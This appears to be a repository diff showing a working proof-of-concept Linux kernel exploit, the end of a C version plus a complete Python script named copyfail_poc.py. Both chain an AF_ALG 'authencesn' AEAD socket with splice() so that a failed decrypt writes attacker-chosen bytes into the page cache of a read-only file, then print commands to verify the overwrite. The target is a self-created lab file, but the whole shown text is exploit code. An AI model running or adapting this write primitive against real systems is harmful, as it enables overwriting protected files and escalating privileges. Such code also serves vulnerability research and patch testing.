||||||
|
uint8_t write_value[4] = { 'P', 'W', 'N', '!' };
|
||||||
|
int tfm_fd, op_fd, file_fd;
|
||||||
|
int pipefd[2];
|
||||||
|
uint8_t rx[0x1000];
|
||||||
|
|
||||||
|
printf("[+] target : %s\n", target);
|
||||||
|
printf("[+] overwrite : file offset 0x%llx\n", (long long)overwrite_off);
|
||||||
|
printf("[+] splice : offset=0x%llx len=0x%zx authsize=0x%zx\n",
|
||||||
|
(long long)splice_off, splice_len, authsize);
|
||||||
|
printf("[+] write value : %.4s\n", (const char *)write_value);
|
||||||
|
|
||||||
|
/*
|
||||||
|
* 1. Create a harmless read-only lab target.
|
||||||
|
*/
|
||||||
|
create_target_file(target, overwrite_off);
|
||||||
|
print_marker("[+] marker before", target, overwrite_off);
|
||||||
|
|
||||||
|
/*
|
||||||
|
* 2. Open AF_ALG transform socket.
|
||||||
|
*/
|
||||||
|
tfm_fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
|
||||||
|
if (tfm_fd < 0)
|
||||||
|
die("socket(AF_ALG)");
|
||||||
|
|
||||||
|
struct sockaddr_alg sa = {
|
||||||
|
.salg_family = AF_ALG,
|
||||||
|
.salg_type = "aead",
|
||||||
|
.salg_name = "authencesn(hmac(sha256),cbc(aes))",
|
||||||
|
};
|
||||||
|
|
||||||
|
if (bind(tfm_fd, (struct sockaddr *)&sa, sizeof(sa)) < 0)
|
||||||
|
die("bind(AF_ALG)");
|
||||||
|
|
||||||
|
printf("[+] bound AF_ALG: type=aead name=authencesn(hmac(sha256),cbc(aes))\n");
|
||||||
|
|
||||||
|
/*
|
||||||
|
* 3. Configure transform, then accept operation socket.
|
||||||
|
*/
|
||||||
|
configure_aead(tfm_fd);
|
||||||
|
|
||||||
|
op_fd = accept(tfm_fd, NULL, NULL);
|
||||||
|
if (op_fd < 0)
|
||||||
|
die("accept(AF_ALG)");
|
||||||
|
|
||||||
|
printf("[+] accepted operation socket: fd=%d\n", op_fd);
|
||||||
|
|
||||||
|
/*
|
||||||
|
* 4. Queue attacker-controlled AAD.
|
||||||
|
* AAD[4:8] becomes seqno_lo, the 4-byte value to write.
|
||||||
|
*/
|
||||||
|
queue_aad(op_fd, write_value);
|
||||||
|
|
||||||
|
/*
|
||||||
|
* 5. Splice target file bytes into a pipe.
|
||||||
|
* The selected range is [0x1224, 0x1244), so the tag region
|
||||||
|
* begins at 0x1234.
|
||||||
|
*/
|
||||||
|
file_fd = open(target, O_RDONLY);
|
||||||
|
if (file_fd < 0)
|
||||||
|
die("open(target)");
|
||||||
|
|
||||||
|
if (pipe(pipefd) < 0)
|
||||||
|
die("pipe");
|
||||||
|
|
||||||
|
if (splice(file_fd, &splice_off, pipefd[1], NULL, splice_len, 0) < 0)
|
||||||
|
die("splice(file -> pipe)");
|
||||||
|
|
||||||
|
printf("[+] splice(file -> pipe): 0x%zx bytes from file offset 0x%llx\n",
|
||||||
|
splice_len, (long long)(overwrite_off - (splice_len - authsize)));
|
||||||
|
|
||||||
|
/*
|
||||||
|
* 6. Splice the pipe into the AF_ALG operation socket.
|
||||||
|
* Kernel-side: pipe_buffer -> bio_vec -> MSG_SPLICE_PAGES
|
||||||
|
* -> AF_ALG TX scatterlist.
|
||||||
|
*/
|
||||||
|
if (splice(pipefd[0], NULL, op_fd, NULL, splice_len, 0) < 0)
|
||||||
|
die("splice(pipe -> AF_ALG)");
|
||||||
|
|
||||||
|
printf("[+] splice(pipe -> AF_ALG): 0x%zx bytes\n", splice_len);
|
||||||
|
|
||||||
|
/*
|
||||||
|
* 7. Trigger decrypt.
|
||||||
|
* Authentication is expected to fail; the scratch write is the point.
|
||||||
|
*/
|
||||||
|
if (recv(op_fd, rx, sizeof(rx), 0) < 0)
|
||||||
|
fprintf(stderr, "recv failed as expected: %s\n", strerror(errno));
|
||||||
|
else
|
||||||
|
printf("[+] recv returned data\n");
|
||||||
|
|
||||||
|
print_marker("[+] marker after ", target, overwrite_off);
|
||||||
|
printf("[+] verify cached bytes : xxd -g1 -s 0x1220 -l 0x40 %s\n", target);
|
||||||
|
printf("[+] verify cache vs disk: sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'\n");
|
||||||
|
printf("[+] then re-read : xxd -g1 -s 0x1220 -l 0x40 %s\n", target);
|
||||||
|
printf("[+] success signal : ORIG -> PWN! before drop_caches, then ORIG after drop_caches\n");
|
||||||
|
|
||||||
|
close(file_fd);
|
||||||
|
close(pipefd[0]);
|
||||||
|
close(pipefd[1]);
|
||||||
|
close(op_fd);
|
||||||
|
close(tfm_fd);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
115
proof-of-concept/copyfail_poc.py
Normal file
115
proof-of-concept/copyfail_poc.py
Normal file
|
|
@ -0,0 +1,115 @@
|
||||||
|
# copyfail_poc.py
|
||||||
|
import os
|
||||||
|
import struct
|
||||||
|
import socket
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
AF_ALG = 38
|
||||||
|
SOL_ALG = 279
|
||||||
|
ALG_SET_KEY = 1
|
||||||
|
ALG_SET_IV = 2
|
||||||
|
ALG_SET_OP = 3
|
||||||
|
ALG_SET_AEAD_ASSOCLEN = 4
|
||||||
|
ALG_SET_AEAD_AUTHSIZE = 5
|
||||||
|
ALG_OP_DECRYPT = 0
|
||||||
|
CRYPTO_AUTHENC_KEYA_PARAM = 1
|
||||||
|
|
||||||
|
target = "./target.bin"
|
||||||
|
overwrite_off = 0x1234
|
||||||
|
authsize = 0x10
|
||||||
|
splice_len = 0x20
|
||||||
|
splice_off = overwrite_off - (splice_len - authsize)
|
||||||
|
|
||||||
|
write_value = b"PWN!"
|
||||||
|
aad = b"A" * 4 + write_value
|
||||||
|
|
||||||
|
def marker(label):
|
||||||
|
with target_path.open("rb") as f:
|
||||||
|
f.seek(overwrite_off)
|
||||||
|
b = f.read(4)
|
||||||
|
print(f"{label} @ 0x{overwrite_off:x} = {b.hex(' ')} ({b!r})")
|
||||||
|
|
||||||
|
print(f"[+] target : {Path(target).expanduser()}")
|
||||||
|
print(f"[+] overwrite : file offset 0x{overwrite_off:x}")
|
||||||
|
print(f"[+] splice : offset=0x{splice_off:x} len=0x{splice_len:x} authsize=0x{authsize:x}")
|
||||||
|
print(f"[+] write value : {write_value!r}")
|
||||||
|
|
||||||
|
# 1. Create a harmless read-only lab target.
|
||||||
|
target_path = Path(target).expanduser()
|
||||||
|
target_path.parent.mkdir(parents=True, exist_ok=True)
|
||||||
|
|
||||||
|
data = bytearray(b"X" * 0x3000)
|
||||||
|
data[overwrite_off:overwrite_off + 4] = b"ORIG"
|
||||||
|
target_path.write_bytes(data)
|
||||||
|
with target_path.open("rb") as f:
|
||||||
|
os.fsync(f.fileno())
|
||||||
|
target_path.chmod(0o444)
|
||||||
|
marker("[+] marker before")
|
||||||
|
|
||||||
|
# 2. Open AF_ALG transform socket.
|
||||||
|
tfm = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)
|
||||||
|
try:
|
||||||
|
tfm.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
|
||||||
|
except FileNotFoundError:
|
||||||
|
print("[!] AF_ALG could not resolve authencesn(hmac(sha256),cbc(aes)).")
|
||||||
|
print("[!] Check /proc/crypto and try: sudo modprobe authencesn")
|
||||||
|
raise
|
||||||
|
print("[+] bound AF_ALG: type=aead name=authencesn(hmac(sha256),cbc(aes))")
|
||||||
|
|
||||||
|
# 3. Configure the authenc-compatible key blob and authsize, then accept.
|
||||||
|
key_blob = (
|
||||||
|
struct.pack("HH", 8, CRYPTO_AUTHENC_KEYA_PARAM) +
|
||||||
|
struct.pack("!I", 16) +
|
||||||
|
(b"A" * 32) +
|
||||||
|
(b"B" * 16)
|
||||||
|
)
|
||||||
|
tfm.setsockopt(SOL_ALG, ALG_SET_KEY, key_blob)
|
||||||
|
tfm.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, authsize)
|
||||||
|
print("[+] AEAD configured: authkey=32, enckey=16, authsize=0x10")
|
||||||
|
|
||||||
|
op, _ = tfm.accept()
|
||||||
|
print(f"[+] accepted operation socket: fd={op.fileno()}")
|
||||||
|
|
||||||
|
# 4. Queue attacker-controlled AAD.
|
||||||
|
# AAD[4:8] is the 4-byte value authencesn later writes.
|
||||||
|
iv = struct.pack("I", 16) + (b"\x44" * 16)
|
||||||
|
op.sendmsg(
|
||||||
|
[aad],
|
||||||
|
[
|
||||||
|
(SOL_ALG, ALG_SET_OP, struct.pack("I", ALG_OP_DECRYPT)),
|
||||||
|
(SOL_ALG, ALG_SET_IV, iv),
|
||||||
|
(SOL_ALG, ALG_SET_AEAD_ASSOCLEN, struct.pack("I", len(aad))),
|
||||||
|
],
|
||||||
|
socket.MSG_MORE,
|
||||||
|
)
|
||||||
|
print(f"[+] AAD queued: assoclen={len(aad)}, AAD[4:8]={write_value!r}")
|
||||||
|
|
||||||
|
# 5. Splice target file bytes into a pipe.
|
||||||
|
r, w = os.pipe()
|
||||||
|
fd = os.open(str(target_path), os.O_RDONLY)
|
||||||
|
|
||||||
|
os.splice(fd, w, splice_len, splice_off, None, 0)
|
||||||
|
print(f"[+] splice(file -> pipe): 0x{splice_len:x} bytes from file offset 0x{splice_off:x}")
|
||||||
|
|
||||||
|
# 6. Splice pipe into AF_ALG operation socket.
|
||||||
|
os.splice(r, op.fileno(), splice_len, None, None, 0)
|
||||||
|
print(f"[+] splice(pipe -> AF_ALG): 0x{splice_len:x} bytes")
|
||||||
|
|
||||||
|
# 7. Trigger decrypt. Authentication is expected to fail.
|
||||||
|
try:
|
||||||
|
op.recv(0x1000)
|
||||||
|
print("[+] recv returned data")
|
||||||
|
except OSError as e:
|
||||||
|
print(f"recv failed as expected: {e}")
|
||||||
|
|
||||||
|
marker("[+] marker after ")
|
||||||
|
print(f"[+] verify cached bytes : xxd -g1 -s 0x1220 -l 0x40 {target_path}")
|
||||||
|
print("[+] verify cache vs disk: sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'")
|
||||||
|
print(f"[+] then re-read : xxd -g1 -s 0x1220 -l 0x40 {target_path}")
|
||||||
|
print("[+] success signal : ORIG -> PWN! before drop_caches, then ORIG after drop_caches")
|
||||||
|
|
||||||
|
os.close(fd)
|
||||||
|
os.close(r)
|
||||||
|
os.close(w)
|
||||||
|
op.close()
|
||||||
|
tfm.close()
|
||||||
Loading…
Add table
Add a link
Reference in a new issue